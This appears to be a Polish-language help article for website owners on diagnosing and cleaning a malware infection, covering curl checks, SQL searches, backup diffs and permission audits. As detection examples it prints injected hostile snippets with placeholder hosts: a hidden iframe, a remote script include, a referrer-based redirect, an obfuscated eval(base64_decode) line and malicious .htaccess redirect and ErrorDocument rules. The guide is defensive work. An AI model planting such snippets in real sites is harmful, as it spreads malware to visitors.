Atak ze złośliwym oprogramowaniem

Termin „złośliwe oprogramowanie” odnosi się do oprogramowania lub aplikacji mobilnych zaprojektowanych specjalnie w celu zaszkodzenia użytkownikom lub uszkodzenia komputera, urządzenia mobilnego bądź zainstalowanych na nim aplikacji. Więcej informacji o złośliwym oprogramowaniu znajdziesz w artykule Złośliwe i niechciane oprogramowanie.

Jeśli Twoja witryna zawiera złośliwe oprogramowanie, użytkownicy zobaczą zwykle ostrzeżenie „Odwiedzenie tej witryny może spowodować uszkodzenie komputera” wyświetlane w wynikach wyszukiwania lub na stronie pełnoekranowej wyświetlanej przez przeglądarkę, gdy użytkownik próbuje wejść na Twoją stronę. Ostrzeżenie będzie wyglądać mniej więcej tak:

Przykładowa strona pełnoekranowa z oprogramowaniem złośliwym
Wyniki wyszukiwania z ostrzeżeniem o złośliwym oprogramowaniu.

Potrzebujesz tych elementów:

  • Dostęp administratora w powłoce lub terminalu do serwerów witryny: serwera WWW, bazy danych i plików.
  • znajomość poleceń w powłoce lub terminalu;
  • możliwość wykonywania zapytań SQL w bazie danych,

Przygotowanie

  • Zarejestruj się w Search Console i potwierdź własność zhakowanej witryny w sposób opisany w tym artykule. Search Console udostępnia próbkę stron, których dotyczy problem, co znacznie ułatwia znajdowanie i rozwiązywanie problemów z hakowaniem i złośliwym oprogramowaniem. Oprócz tego otrzymasz ostrzeżenie, gdy wykryjemy, że Twoja witryna jest zainfekowana wieloma typami złośliwego oprogramowania lub innymi rodzajami ataków.
  • Otwórz stronę diagnostyczną Bezpiecznego przeglądania Google, aby wyświetlić publiczne informacje o tym, czy dana witryna jest potencjalnie szkodliwa dla użytkowników. Stan strony lub witryny możesz sprawdzić pod adresem URL podobnym do tego:https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Na przykład:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> może być adresem URL konkretnej strony (http://example.com/badpage) lub całej witryny (example.com).

  • Unikaj wyświetlania stron w witrynie w przeglądarce. Złośliwe oprogramowanie często rozprzestrzenia się, wykorzystując luki w zabezpieczeniach przeglądarki – dlatego otwarcie zainfekowanej strony może spowodować szkody na Twoim komputerze. Jeśli instrukcje diagnostyczne nie mówią, aby otworzyć stronę bezpośrednio w przeglądarce, użyj narzędzia cURL lub Wget, aby wysłać żądania HTTP (np. aby pobrać stronę).

    Te bezpłatne narzędzia pozwalają dołączyć do żądań informacje o stronie odsyłającej i kliencie użytkownika, co ułatwia diagnostykę przekierowań. Użycie konkretnego odesłania lub identyfikatora użytkownika może być przydatne do naśladowania działania hakerów, ponieważ hakerzy mogą wyświetlać złośliwe treści tylko użytkownikom z określonym identyfikatorem użytkownika lub odesłaniem, aby docierać do „prawdziwych użytkowników” i unikać wykrycia przez właścicieli witryn oraz skanery złośliwego oprogramowania.

`curl -v --referer "http://www.google.com" <your-url>`

Oto przykład, który określa zarówno użytkownika, jak i strona odsyłającą:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Zalecamy pobieranie strony z użyciem --referer "https://www.google.com" i bez niego, ponieważ niektóre złośliwe programy są aktywowane tylko wtedy, gdy użytkownicy trafiają na nie z wyników wyszukiwania Google.

  • Utwórz dokument, w którym będziesz zapisywać informacje uzyskane na tym etapie. Dokument będzie zawierać (co najmniej) nazwę i lokalizację każdego uszkodzonego pliku oraz informacje o tym, jak doszło do infekcji. Posłuży on jako podstawa do oczyszczenia i utrzymania witryny.

  • Aby dowiedzieć się, jak działa złośliwe oprogramowanie i jak zachować bezpieczeństwo podczas jego analizowania, obejrzyj film na początku tej strony.

Diagnostyka

Sprawdź, jakie złośliwe oprogramowanie wpływa na Twoją witrynę:

  1. Otwórz w Search Console raport Problemy dotyczące bezpieczeństwa dotyczący Twojej witryny. Rozwiń opis ostrzeżenia o złośliwym oprogramowaniu, aby zobaczyć listę przykładowych stron objętych problemem. Pamiętaj, że ta lista nie jest wyczerpująca. Możesz nie mieć przykładowych stron dla wszystkich typów złośliwego oprogramowania w swojej witrynie.
  2. Przetestuj przykładowe strony pod kątem tych typów złośliwego oprogramowania:

złośliwe oprogramowanie konfiguracji serwera (niechciane przekierowania);

Haker przejął witrynę i przekierowuje jej użytkowników do swojej witryny ze złośliwym oprogramowaniem, prawdopodobnie dzięki modyfikacji plików konfiguracyjnych serwera. Zwykle pozwalają one administratorowi witryny określić przekierowania URL z konkretnych stron lub katalogów witryny. Na przykład na serwerach Apache te pliki to .htaccesshttpd.conf.

Diagnostyka

Odwiedź przykładowe adresy URL wymienione w raporcie „Problemy dotyczące bezpieczeństwa”. Odpowiedź ze strony zainfekowanej złośliwym oprogramowaniem typu „konfiguracja serwera” może zawierać te nagłówki:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Określanie plików, których dotyczy problem

Zaloguj się na serwer, korzystając z powłoki lub terminala (witryna może być offline), i przejrzyj odpowiednie pliki konfiguracyjne serwera. Takich zmodyfikowanych plików może być więcej. Poszukaj w nich niepożądanych dyrektyw – takich jak przekierowania do nieznanych witryn. Na przykład w pliku .htaccess możesz zobaczyć przekierowanie o takiej postaci:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

wstrzyknięcie kodu SQL

Haker zaatakował bazę danych Twojej witryny. Na przykład haker mógł programowo wstawić złośliwy kod do każdego rekordu tabeli bazy danych. Gdy serwer wczytuje stronę wymagającą informacji z bazy danych, złośliwy kod jest umieszczany w treści tej strony i może wyrządzić szkody na komputerze użytkownika witryny.

Diagnostyka

  1. Wyślij z wiersza poleceń kilka zapytań dotyczących problematycznych adresów URL i poszukaj w odpowiedzi słów SQL związanych z atakiem, np. „iframe” czy „eval”.
  2. Zaloguj się na serwer bazy danych lub wyświetl ją w takim narzędziu jak phpMyAdmin. Jeśli używasz Wget lub cURL, spróbuj dopasować szkody znalezione w pobranym tymi narzędziami kodzie źródłowym strony do istniejących wpisów w bazie danych. Jeśli na przykład zauważysz, że na Twoich stronach znajduje się niebezpieczny element iframe, możesz wykonać zapytanie SQL, aby wyszukać kod iframe. Na przykład:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Warto też w dzienniku i plikach błędów bazy danych na serwerze poszukać śladów nietypowej aktywności – takich jak nieoczekiwane polecenia SQL, które nie pasują do zwykłych błędów czy działań użytkowników.

Rozwiąż problem

Możesz zaktualizować każdy zainfekowany rekord bazy danych albo przywrócić jej ostatnią nienaruszoną kopię zapasową.

Wstrzyknięty kod

Do stron w witrynie został dodany złośliwy kod, na przykład element iframe z witryny rozpowszechniającej złośliwe oprogramowanie.

Diagnostyka

Odwiedź przykładowe adresy URL wymienione w raporcie „Problemy dotyczące bezpieczeństwa” za pomocą cURL lub wGet i sprawdź, czy nie zawierają podejrzanego kodu. Wstrzyknięty kod może mieć wiele typów i może być trudny do znalezienia. Aby znaleźć kod iframe, warto wyszukać takie słowa jak „iframe”. Inne przydatne słowa kluczowe to „script”, „eval” i „unescape”. Aby na przykład wyszukać słowo „iframe” we wszystkich plikach w systemie typu Unix:

$grep -irn "iframe" ./ | less</pre>

Oto kilka typowych wzorców złośliwego oprogramowania, na które warto zwrócić uwagę.

Element iframe, który ładuje złośliwą witrynę:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

Instrukcja w JavaScripcie lub innym języku skryptowym, która wywołuje i uruchamia skrypty ze złośliwej witryny:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Skrypt, który przekierowuje przeglądarkę do złośliwej witryny:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Złośliwy kod, który jest zaciemniony, aby uniknąć wykrycia:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Pliki udostępnionych obiektów, które losowo zapisują szkodliwy kod w normalnie bezpiecznych skryptach:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Szablony błędów złośliwego oprogramowania

Szablon komunikatu o błędzie, taki jak „404 Nie znaleziono pliku”, został skonfigurowany tak, by rozpowszechniał złośliwe oprogramowanie. W ten sposób haker może wykorzystywać w atakach adresy URL, które nawet nie istnieją w Twojej witrynie.

Diagnostyka

Wyślij żądanie strony, która nie istnieje w Twojej witrynie, lub takiej, która wyświetla inny typ błędu, i sprawdź, czy odpowiedź pochodzi z innej witryny albo zawiera złośliwe oprogramowanie.

Rozwiąż problem

Zaloguj się na serwer WWW i wyszukaj w jego plikach konfiguracyjnych instrukcje dotyczące strony błędu. Na przykład szablon błędu serwera WWW Apache można zadeklarować w pliku .htaccess. Oto przykład wpisu w pliku .htaccess, który pobiera strony błędu 404 ze złośliwej witryny:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Gdy przygotujesz się do oczyszczenia witryny, zastąp pliki .htaccess nienaruszoną kopią zapasową lub usuń niepożądane instrukcje ErrorDocument z istniejących plików .htaccess. Pamiętaj też, by wyczyścić faktyczne pliki błędów, jeśli masz je w swojej witrynie. Na koniec ponownie uruchom serwer WWW, aby wszystkie zmiany zaczęły obowiązywać.

Zasoby wczytywane z zaatakowanej lub złośliwej witryny {compromised-resources}

Twoja witryna korzysta z treści lub zasobów z innej witryny, która zawiera złośliwe elementy. Mogą to być pliki JavaScript, obrazy lub inne pliki. Z tego powodu Twoja witryna zostanie oznaczona jako zawierająca złośliwe oprogramowanie pochodzące z innej witryny.

Diagnostyka

Odwiedź przykładowe adresy URL wymienione w raporcie „Problemy dotyczące bezpieczeństwa”.

Rozwiąż problem

  1. Potwierdź problem, przechodząc do kilku przykładowych adresów URL wymienionych w raporcie „Problemy dotyczące bezpieczeństwa” w Search Console. Powinien pojawić się komunikat ostrzeżenia w przeglądarce.
  2. W ostrzeżeniu wyświetlonym w przeglądarce zobaczysz nazwę domeny, z której pochodzą nieodpowiednie treści. Usuń wszystkie odwołania do oznaczonej witryny wymienione w ostrzeżeniu wyświetlonym w przeglądarce. Jeśli treści z oznaczonej witryny zostały dodane bez Twojej wiedzy, problem jest poważniejszy. Twoja witryna została prawdopodobnie naruszona, dlatego powinieneś ją dokładnie sprawdzić pod kątem innych luk i lukawic.
  3. Jeśli celowo dodałeś/dodałaś treści z legalnej witryny, która została oznaczona, i chcesz ponownie dodać te treści po usunięciu z niej treści naruszających zasady, możesz śledzić stan tej witryny na stronie diagnostycznej Bezpiecznego przeglądania Google (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Właściciele legalnych witryn zwykle szybko je oczyszczają.

Dodatkowa analiza

Następnie sprawdź, czy w systemie nie ma dodatkowych złośliwych plików lub zmian. Haker mógł zmodyfikować istniejące strony lub rekordy bazy danych, utworzyć nowe strony ze spamem, napisać funkcje wyświetlające spam na czystych stronach lub pozostawić „drzwi tylne”, które pozwolą mu ponownie wejść do witryny, albo ponownie wstrzyknąć złośliwy kod, który został usunięty.

Jeśli Twoja witryna jest dostępna online, rozważ wyłączenie jej na czas sprawdzania.

Jeśli masz działającą kopię zapasową witryny, sprawdź, które pliki zostały utworzone lub zmodyfikowane od czasu utworzenia kopii zapasowej, i je zbadaj. W systemach typu Unix do znajdowania nowych plików możesz użyć polecenia podobnego do tego:

diff -qr <current-directory> <backup-directory>

Na przykład:

diff -qr www/ backups/full-backup-20120124/

również:

md5sum <current-page> <backup-page>

Na przykład:

md5sum www/page.html backups/full-backup-20120124/page.html

Sprawdź dzienniki serwera, dostępu i błędów pod kątem podejrzanej aktywności, takiej jak nieudane próby logowania, historia poleceń (zwłaszcza jako root) i tworzenie kont nieznanych użytkowników. Pamiętaj, że haker mógł zmienić te dzienniki do własnych celów. Przykłady znajdziesz w filmie Identyfikacja podatności.

Sprawdź pliki konfiguracji pod kątem przekierowań. Pliki konfiguracji mają zwykle nazwy .htaccess i httpd.conf. Hakerzy często tworzą przekierowania warunkowe na podstawie klienta użytkownika, pory dnia lub strony odsyłającej. Jeśli musisz zaktualizować pliki konfiguracji, może być konieczne ponowne uruchomienie serwera, aby zmiany zaczęły obowiązywać.

Sprawdź, czy uprawnienia do folderów i plików nie są zbyt liberalne. Hakerzy zmieniają uprawnienia, ponieważ jeśli właściciel witryny nie wykryje luźnych uprawnień, będzie miał sposób na ponowne wejście na stronę. Pliki większe niż 644 (rw-r--r--) i foldery większe niż 755 (rwxr-xr-x) mogą powodować problemy z bezpieczeństwem. Upewnij się, że takie uprawnienia faktycznie są potrzebne. W systemach typu Unix spróbuj:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

i:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Jeśli masz bazę danych, sprawdź każdą pozycję za pomocą narzędzia takiego jak phpMyAdmin.